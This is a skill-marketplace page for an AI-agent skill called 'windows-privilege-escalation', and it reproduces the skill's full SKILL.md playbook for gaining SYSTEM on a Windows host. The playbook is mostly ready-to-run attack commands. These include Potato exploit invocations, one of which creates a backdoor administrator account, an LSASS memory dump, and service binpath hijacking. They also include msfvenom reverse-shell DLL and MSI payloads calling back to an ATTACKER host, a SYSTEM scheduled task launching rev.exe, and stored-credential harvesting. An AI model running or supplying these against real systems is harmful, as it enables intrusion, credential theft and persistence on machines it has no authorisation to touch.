PluginBench
Skill
Fail
Audit score 45

windows-privilege-escalation

yaklang/hack-skills

Windows local privilege escalation via token abuse, Potato exploits, service misconfigurations, DLL hijacking, and UAC bypass.

What is windows-privilege-escalation?

Expert playbook for escalating from low-privilege shell access on Windows. Covers token manipulation, Potato family exploits, service misconfigurations, DLL hijacking, AlwaysInstallElevated, scheduled task abuse, registry autoruns, and named pipe impersonation. Use when you have local access and need SYSTEM or admin privileges.

  • Enumerate system context, token privileges, services, scheduled tasks, and installed patches to identify escalation vectors
  • Exploit SeImpersonatePrivilege via Potato family tools (JuicyPotato, GodPotato, PrintSpoofer, RoguePotato, SweetPotato)
  • Abuse service misconfigurations including unquoted paths, weak permissions, and writable binaries
  • Perform DLL hijacking by placing malicious DLLs in high-priority search directories
  • Exploit AlwaysInstallElevated registry settings to run MSI payloads with elevated privileges
  • Abuse scheduled tasks with writable binaries or missing executables

How to install windows-privilege-escalation

npx skills add https://github.com/yaklang/hack-skills --skill windows-privilege-escalation
Prerequisites
  • Low-privilege shell access on Windows target
  • Administrative or system context enumeration tools (whoami, systeminfo, sc, wmic)
  • Privilege escalation tools matching the identified vector (JuicyPotato, GodPotato, PrintSpoofer, msfvenom, accesschk)
Claude Code
Cursor
Windsurf
Cline

How to use windows-privilege-escalation

  1. 1.Run enumeration commands (whoami /all, systeminfo, whoami /priv) to identify available privileges and OS version
  2. 2.Check token privileges table to determine if SeImpersonatePrivilege, SeDebugPrivilege, or other high-value privileges are present
  3. 3.Enumerate services, scheduled tasks, and registry autoruns using provided sc, wmic, schtasks, and reg commands
  4. 4.Identify specific misconfiguration (unquoted path, weak permissions, writable binary, missing DLL, AlwaysInstallElevated, etc.)
  5. 5.Select appropriate exploitation technique from the playbook (Potato variant, service binary replacement, DLL hijacking, MSI deployment, etc.)
  6. 6.Generate payload using msfvenom or compile custom binary matching the target vector
  7. 7.Execute exploitation and verify SYSTEM/admin access with whoami /all

Use cases

Good for
  • Escalate from IIS AppPool or MSSQL service account to SYSTEM using Potato exploits
  • Replace unquoted service binary to gain SYSTEM execution on next service restart
  • Inject malicious DLL into application search path to hijack legitimate process execution
  • Deploy MSI payload when AlwaysInstallElevated is misconfigured on both HKLM and HKCU
  • Replace writable scheduled task binary to execute payload at next task trigger
Who it's for
  • Red teamers and penetration testers performing Windows privilege escalation
  • Security researchers analyzing Windows privilege escalation techniques
  • Incident responders investigating privilege escalation attack chains

windows-privilege-escalation FAQ

Which Potato exploit should I use?

Use PrintSpoofer for Win10/Server2016-2019 if Print Spooler is running (simplest). Use GodPotato for broadest compatibility across Win8–Server2022. Use JuicyPotato only on Win7–Server2016 legacy systems. Consult TOKEN_POTATO_TRICKS.md for detailed OS-version-specific selection.

How do I know if a service is exploitable?

Check icacls output for SERVICE_CHANGE_CONFIG or SERVICE_ALL_ACCESS permissions, verify the service binary path is writable, or identify unquoted paths with spaces. Use accesschk64.exe to audit service ACLs systematically.

What if AlwaysInstallElevated is not set?

Check other vectors: token privileges (Potato exploits), service misconfigurations, DLL hijacking, scheduled task abuse, or registry autoruns. AlwaysInstallElevated is one of many escalation paths.

Can I use these techniques if UAC is enabled?

Most token-based and service-based exploits work even with UAC enabled because they operate at the service/token level, not user-mode. Load windows-uac-bypass SKILL if you need to bypass UAC prompts for interactive elevation.

How do I verify successful escalation?

Run whoami /all and verify output shows SYSTEM or NT AUTHORITY\SYSTEM in the user context, and check group memberships include Administrators.

Full instructions (SKILL.md)

Source of truth, from yaklang/hack-skills.


name: windows-privilege-escalation description: >- Windows local privilege escalation playbook. Use when you have low-privilege shell access on Windows and need to escalate via token abuse, Potato exploits, service misconfigurations, DLL hijacking, UAC bypass, or registry autoruns.

SKILL: Windows Local Privilege Escalation — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert Windows privesc techniques. Covers token manipulation, Potato family, service misconfigurations, DLL hijacking, AlwaysInstallElevated, scheduled task abuse, registry autoruns, and named pipe impersonation. Base models miss nuanced privilege prerequisites and OS-version-specific constraints.

0. RELATED ROUTING

Before going deep, consider loading:

  • windows-lateral-movement after escalation for pivoting to other hosts
  • windows-av-evasion when AV/EDR blocks your privesc tools
  • active-directory-kerberos-attacks when the host is domain-joined and you need AD-level escalation
  • active-directory-acl-abuse for domain privilege escalation via ACL misconfigurations

Advanced Reference

Also load TOKEN_POTATO_TRICKS.md when you need:

  • Detailed Potato family comparison (JuicyPotato → GodPotato evolution)
  • OS-version-specific exploit selection
  • Required privileges and protocol details per variant

Also load UAC_BYPASS_METHODS.md when you need:

  • UAC bypass technique matrix (fodhelper, eventvwr, sdclt, etc.)
  • Auto-elevate binary abuse
  • Mock trusted directory tricks

1. ENUMERATION CHECKLIST

System Context

whoami /all                        & REM Current user, groups, privileges
systeminfo                         & REM OS version, hotfixes, architecture
hostname                           & REM Machine name
net user %USERNAME%                & REM Group memberships

Token Privileges (Critical)

whoami /priv
PrivilegeEscalation Path
SeImpersonatePrivilegePotato family exploits (§2)
SeAssignPrimaryTokenPrivilegeToken manipulation, Potato variants
SeDebugPrivilegeDump LSASS, inject into SYSTEM processes
SeBackupPrivilegeRead any file (SAM/SYSTEM/NTDS.dit)
SeRestorePrivilegeWrite any file (DLL hijack, service binary)
SeTakeOwnershipPrivilegeTake ownership of any object
SeLoadDriverPrivilegeLoad vulnerable kernel driver → kernel exploit

Services & Scheduled Tasks

sc query state= all                & REM All services
wmic service get name,displayname,pathname,startmode | findstr /i "auto"
schtasks /query /fo LIST /v        & REM Verbose scheduled task list

Installed Software & Patches

wmic product get name,version
wmic qfe list                      & REM Installed patches

Network & Credentials

netstat -ano                       & REM Listening ports + PIDs
cmdkey /list                       & REM Stored credentials
dir C:\Users\*\AppData\Local\Microsoft\Credentials\*
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul

2. TOKEN MANIPULATION & POTATO EXPLOITS

SeImpersonatePrivilege Abuse

Service accounts (IIS AppPool, MSSQL, etc.) typically hold SeImpersonatePrivilege. This enables impersonation of any token presented to you.

ToolOS SupportProtocolNotes
JuicyPotatoWin7–Server2016COM/DCOMRequires valid CLSID; patched on Server2019+
RoguePotatoServer2019+OXID resolver redirectNeeds controlled machine on port 135
PrintSpooferWin10/Server2016-2019Named pipe via Print SpoolerSimple, fast; Spooler must run
SweetPotatoBroadCOM + Print + EFSCombines multiple techniques
GodPotatoWin8–Server2022DCOM RPCSSWorks on latest patched systems
# PrintSpoofer (simplest for modern systems)
PrintSpoofer64.exe -i -c "cmd /c whoami"

# GodPotato (broadest compatibility)
GodPotato.exe -cmd "cmd /c net user hacker P@ss123 /add && net localgroup administrators hacker /add"

# JuicyPotato (legacy systems)
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c whoami" -t * -c {CLSID}

SeDebugPrivilege Abuse

# Dump LSASS (if SeDebugPrivilege is enabled)
procdump -ma lsass.exe lsass.dmp

# Or migrate into a SYSTEM process
# Meterpreter: migrate to winlogon.exe / services.exe

3. SERVICE MISCONFIGURATIONS

Unquoted Service Paths

# Find unquoted paths with spaces
wmic service get name,pathname,startmode | findstr /i /v "C:\Windows\\" | findstr /i /v """

If path is C:\Program Files\My App\service.exe, Windows tries:

  1. C:\Program.exe
  2. C:\Program Files\My.exe
  3. C:\Program Files\My App\service.exe

Place malicious binary at first writable location.

Weak Service Permissions

# Check service ACL with accesschk (Sysinternals)
accesschk64.exe -wuvc * /accepteula
# Look for: SERVICE_CHANGE_CONFIG, SERVICE_ALL_ACCESS
# Reconfigure service to run attacker binary
sc config vuln_svc binpath= "C:\temp\rev.exe"
sc stop vuln_svc
sc start vuln_svc

Writable Service Binaries

# Check if current user can write to the service binary path
icacls "C:\Program Files\VulnApp\service.exe"
# (F) = Full, (M) = Modify, (W) = Write → replace binary

4. DLL HIJACKING

DLL Search Order (Standard)

  1. Directory of the executable
  2. C:\Windows\System32
  3. C:\Windows\System
  4. C:\Windows
  5. Current directory
  6. Directories in %PATH%

Exploitation

# Find missing DLLs (use Process Monitor)
# Filter: Result=NAME NOT FOUND, Path ends with .dll

# Compile malicious DLL
# msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f dll > evil.dll

# Place in writable directory that comes before the real DLL location

Known Phantom DLL Targets

ApplicationMissing DLLDrop Location
Various .NET appsprofapi.dllApplication directory
Windows serviceswlbsctrl.dll%PATH% writable dir
Third-party updatersVERSION.dllApplication directory

5. ALWAYSINSTALLELEVATED

# Check both registry keys — BOTH must be set to 1
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# Generate MSI payload
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f msi > evil.msi
msiexec /quiet /qn /i evil.msi

6. SCHEDULED TASK ABUSE

# Enumerate tasks with writable scripts or missing binaries
schtasks /query /fo LIST /v | findstr /i "Task To Run\|Run As User\|Schedule Type"

# Check permissions on task binary
icacls "C:\path\to\task\binary.exe"

# If writable: replace binary, wait for task execution
# If missing: place your binary at the expected path

Scheduled Task via PowerShell

# If you can create tasks (unlikely from low priv, useful post-UAC-bypass)
$action = New-ScheduledTaskAction -Execute "C:\temp\rev.exe"
$trigger = New-ScheduledTaskTrigger -AtLogon
Register-ScheduledTask -TaskName "Updater" -Action $action -Trigger $trigger -User "SYSTEM"

7. REGISTRY AUTORUNS

# Check writable autorun locations
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce

# Check permissions with accesschk
accesschk64.exe -wvu "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /accepteula

If an autorun entry points to a writable path → replace binary or inject new entry.


8. NAMED PIPE IMPERSONATION

# Service account creates a named pipe, tricks a SYSTEM process into connecting
# The connecting client's token is then impersonated

# PrintSpoofer leverages this with the Print Spooler:
PrintSpoofer64.exe -i -c powershell.exe

Custom named pipe server (requires SeImpersonatePrivilege):

# Create pipe → coerce SYSTEM connection → ImpersonateNamedPipeClient() → SYSTEM token

9. AUTOMATED TOOLS

ToolPurposeCommand
winPEASComprehensive Windows enumerationwinPEASx64.exe
PowerUpService/DLL/registry misconfig checksInvoke-AllChecks
SeatbeltSecurity-focused host surveySeatbelt.exe -group=all
SharpUpC# port of PowerUp checksSharpUp.exe audit
PrivescCheckPowerShell privesc checkerInvoke-PrivescCheck
BeRootCommon misconfig finderbeRoot.exe

10. PRIVILEGE ESCALATION DECISION TREE

Low-privilege shell on Windows
│
├── whoami /priv → SeImpersonatePrivilege?
│   ├── Yes → Potato family (§2)
│   │   ├── Server2019+/Win11 → GodPotato or PrintSpoofer
│   │   ├── Server2016/Win10 → PrintSpoofer or SweetPotato
│   │   └── Older → JuicyPotato (need CLSID)
│   └── SeDebugPrivilege? → LSASS dump / process injection
│
├── Service misconfigurations?
│   ├── Unquoted path with spaces + writable dir? → binary plant (§3)
│   ├── SERVICE_CHANGE_CONFIG on service? → reconfigure binpath (§3)
│   └── Writable service binary? → replace executable (§3)
│
├── DLL hijacking opportunity?
│   ├── Missing DLL in search path? → plant malicious DLL (§4)
│   └── Writable directory in %PATH%? → DLL plant (§4)
│
├── AlwaysInstallElevated set?
│   └── Both HKLM+HKCU = 1 → MSI payload (§5)
│
├── Scheduled task abuse?
│   ├── Task runs as SYSTEM with writable binary? → replace (§6)
│   └── Task references missing binary? → plant binary (§6)
│
├── Registry autorun writable?
│   └── Writable binary path → replace on next login/reboot (§7)
│
├── UAC bypass needed? (medium integrity → high integrity)
│   └── Load UAC_BYPASS_METHODS.md
│
├── Stored credentials?
│   ├── cmdkey /list → runas /savecred
│   ├── Autologon in registry? → plaintext creds
│   └── WiFi passwords, browser creds, DPAPI
│
└── None of the above?
    ├── Run winPEAS for comprehensive scan
    ├── Check internal services (netstat -ano)
    ├── Look for sensitive files (unattend.xml, web.config, *.config)
    └── Check for kernel exploits (systeminfo → Windows Exploit Suggester)